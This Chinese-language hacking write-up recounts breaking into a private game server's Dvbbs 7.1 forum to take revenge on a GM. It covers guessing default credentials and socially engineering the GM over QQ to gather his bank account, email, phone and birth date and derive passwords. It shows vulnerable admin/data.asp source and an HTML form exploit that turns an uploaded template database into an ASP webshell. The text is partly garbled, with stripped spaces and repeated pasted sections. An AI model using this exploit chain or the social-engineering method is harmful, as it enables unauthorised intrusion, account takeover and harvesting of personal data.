前言
今天我朋友发来了个私服的官方网站.起因是因为这个私服的GM骗了我朋友100RMB.我朋友气愤之下找我帮忙.叫我篡改其web.哎.都怪平时太会吹牛了.无奈.把泡MM的时间挤一点去研究研究咯.活动活动..
WEB的分析
私服的官方主页都是htm生成的.无从下手.难道要通过扫描器来实现入侵?突然发现在主页下有个论坛连接口.点进去.PoweredByDvbbsVersion7.1.0Sp1有门了.尝试着admin/admin888data/dvbbs7.mdb出现error.看来管理还不是个傻B.注册人数有1384个.怎么会用默认呢?怎么办呢?最近听说过有个dvbbsblog0day.但是这个论坛没开放博客系统.怎么得到GM的管理号呢?
社会工程学
通过加GM的QQ来骗取.发了好长时间.从古代的腥风血雨聊到当今的恐怖事件.运气不是一般好.经过了长达一个下午的忽悠.得到了GM的银行账号.E-mail.电话.出生年月等等.很幸运的是利用这些现有的资料组合成密码登陆了后台.点模板导出插入一句话.模板已经保存到您的论坛根目录下的skins下,文件名名Dv_skin.mdb.一切的一切都是这么顺理成章.点到处理(Access)时.傻了.问小鱼知道怎么入侵dvbbssql的站不?无果.
一、备份库
1、打开SQL企业管理器,在控制台根目录中依次点开MicrosoftSQLServer
2、SQLServer组-->双击打开你的器-->双击打开库目录
3、选择你的库名称(如论坛库Forum)-->然后点上面菜单中的工具-->选择备份库
4、备份选项选择完全备份,目的中的备份到如果原来有路径和名称则选中名称点删除,然后点添加,如果原来没有路径和名称则直接选择添加,接着指定路径和文件名,指定后点确定返回备份窗口,接着点确定进行备份
二、还原库
1、打开SQL企业管理器,在控制台根目录中依次点开MicrosoftSQLServer
2、SQLServer组-->双击打开你的器-->点图标栏的新建库图标,新建库的名字自行取
3、点击新建好的库名称(如论坛库Forum)-->然后点上面菜单中的工具-->选择恢复库
4、在弹出来的窗口中的还原选项中选择从设备-->点选择设备-->点添加-->然后选择你的备份文件名-->添加后点确定返回,这时候设备栏应该出现您刚才选择的库备份文件名,备份号默认为1(如果您对同一个文件做过多次备份,可以点击备份号旁边的查看内容,在复选框中选择最新的一次备份后点确定)-->然后点击上方常规旁边的选项按钮...................
SQL版的分析
首先我们看看admin/data.asp文件的updata()函数:
subupdata()
Onerrorresumenext
DimFileConnStr,Fileconn
Dbpath=request.Form("Dbpath")
Dbpath=server.mappath(Dbpath)
bkfolder=request.Form("bkfolder")
bkdbname=request.Form("bkdbname")
FileConnStr="Provider=Microsoft.Jet.OLEDB.4.0;DataSource="&Dbpath
SetFileconn=Server.CreateObject("ADODB.Connection")
Fileconn.openFileConnStr
IfErrThen
Response.WriteErr.Description
Err.Clear
SetFileconn=Nothing
Response.Write"备份的文件并非合法的库。"
ExitSub
Else
SetFileconn=Nothing
EndIf
SetFso=server.createobject("scripting.filesystemobject")
IfFso.fileexists(dbpath)then
IfCheckDir(bkfolder)=TrueThen
Fso.copyfiledbpath,bkfolder&"\"&bkdbname
else
MakeNewsDirbkfolder
Fso.copyfiledbpath,bkfolder&"\"&bkdbname
endif
response.write"备份库成功,您备份的库路径为"&bkfolder&"\"&bkdbname
Else
response.write"找不到您所需要备份的文件。"
Endif
endsub
上面的代码就是执行备份操作的函数,已经很易懂了,只要Dbpath存在,就直接把库复制到指定目录,但是备份库步骤是:
1、打开SQL企业管理器,在控制台根目录中依次点开MicrosoftSQLServer
2、SQLServer组-->双击打开你的器-->双击打开库目录
3、选择你的库名称(如论坛库Forum)-->然后点上面菜单中的工具-->选择备份库
还是备份的地方,你别看这里教你如何用SQL企业管理器来操作,其实可利用的正在里面,不要被表面的现象蒙蔽了,我们看看admin/data.asp文件的以下代码:
subRestoreData()
IfIsSqlDataBase=1Then
SQLUserReadme()
ExitSub
EndIf
%>
<tableborder="0"cellspacing="1"cellpadding="5"height="1"align=centerwidth="95%"class="tableBorder"<tr>
<thheight=25>
<B>恢复论坛</B>(需要FSO支持,FSO相关帮助请看微软网站)
</th>
</tr>
<formmethod="post"action="data.asp?action=RestoreData&act=Restore">
<tr>
<tdheight=100class="forumrow">
备份库路径(相对):<inputtype=textsize=30name=DBpathvalue="../DataBackup/dvbbs7_Backup.MDB">
目标库路径(相对):<inputtype=textsize=30name=backpathvalue="../<%=db%>"> 填写您当前使用的库路径,如不想覆盖当前文件,可自行命名(注意路径是否正确),然后修改conn.asp文件,如果目标文件名和当前使用库名一致的话,不需修改conn.asp文件
<inputtype=submitvalue="恢复">
-----------------------------------------------------------------------------------------
在上面填写本程序的库路径全名,本程序的默认备份库文件为DataBackup\dvbbs_Backup.MDB,请按照您的备份文件自行修改。
您可以用这个功能来备份您的法规,以保证您的安全!
注意:所有路径都是相对与程序空间根目录的相对路径</font>
</td>
</tr>
</form>
</table>
<%
endsub
subBackupData()
IfIsSqlDataBase=1Then
SQLUserReadme()
ExitSub
EndIf
%>
<tableborder="0"cellspacing="1"cellpadding="5"height="1"align=centerwidth="95%"class="tableBorder">
<tr>
<thheight=25>
<B>备份论坛</B>(需要FSO支持,FSO相关帮助请看微软网站)
</th>
</tr>
<formmethod="post"action="data.asp?action=BackupData&act=Backup">
<tr>
<tdheight=100class="forumrow">
当前库路径(相对路径):<inputtype=textsize=15name=DBpathvalue="../<%=db%>">
备份库目录(相对路径):<inputtype=textsize=15name=bkfoldervalue="../Databackup">如目录不存在,程序将创建
备份库名称(填写名称):<inputtype=textsize=15name=bkDBnamevalue="dvbbs7_Backup.mdb">如备份目录有该文件,将覆盖,如没有,将创建
<inputtype=submitvalue="确定">
-----------------------------------------------------------------------------------------
在上面填写本程序的库路径全名,本程序的默认库文件为Data\dvbbs7.MDB,<B>请一定不能用默认名称命名备份库</B>
您可以用这个功能来备份您的法规,以保证您的安全!
注意:所有路径都是相对与程序空间根目录的相对路径</font>
</td>
</tr>
</form>
</table>
<%
endsub
subupdata()
Onerrorresumenext
DimFileConnStr,Fileconn
Dbpath=request.Form("Dbpath")
Dbpath=server.mappath(Dbpath)
bkfolder=request.Form("bkfolder")
bkdbname=request.Form("bkdbname")
FileConnStr="Provider=Microsoft.Jet.OLEDB.4.0;DataSource="&Dbpath
SetFileconn=Server.CreateObject("ADODB.Connection")
Fileconn.openFileConnStr
IfErrThen
Response.WriteErr.Description
Err.Clear
SetFileconn=Nothing
Response.Write"备份的文件并非合法的库。"
ExitSub
Else
SetFileconn=Nothing
EndIf
SetFso=server.createobject("scripting.filesystemobject")
IfFso.fileexists(dbpath)then
IfCheckDir(bkfolder)=TrueThen
Fso.copyfiledbpath,bkfolder&"\"&bkdbname
else
MakeNewsDirbkfolder
Fso.copyfiledbpath,bkfolder&"\"&bkdbname
endif
response.write"备份库成功,您备份的库路径为"&bkfolder&"\"&bkdbname
Else
response.write"找不到您所需要备份的文件。"
Endif
endsub
在后台没有用到这些代码,可以看出我们完全可以用像ACCESS的方法来利用,只是要从本地提交参数,因为Dbpath、backpath那两个变量是用request.form取值。照样没有检查文件类型,这个文件的很多代码在SQL版里都是多余!由此产生安全隐患。
SQL版的利用
点模板导出插入一句话.模板已经保存到您的论坛根目录下的skins下,文件名为Dv_skin.mdb.然后在本地新建一个htm文件.写入代码
<formaction="http://你入侵的网站地址/admin/data.asp?action=RestoreData&act=Restore"method="post">
<p>已上传文件的位置:<inputname="Dbpath"type="text"size="80"><p>
<p>要复制到的位置:<inputname="backpath"type="text"size="80"><p>
<p><inputtype="submit"value="提交"><p>
<form>
然后就把skins/Dv_skin.mdb填在“已上传文件的位置”那里,想要在哪里搞个WebShell就把完整的相对路径填写在“要复制到的位置”那里,比如:admin/hack.asp提交就得到我们可爱的WebShell了.这里可以把BackupData值代替RestoreData值.一样可以实现入侵.很简单.
后记
不愧是‘洞网’.无语.....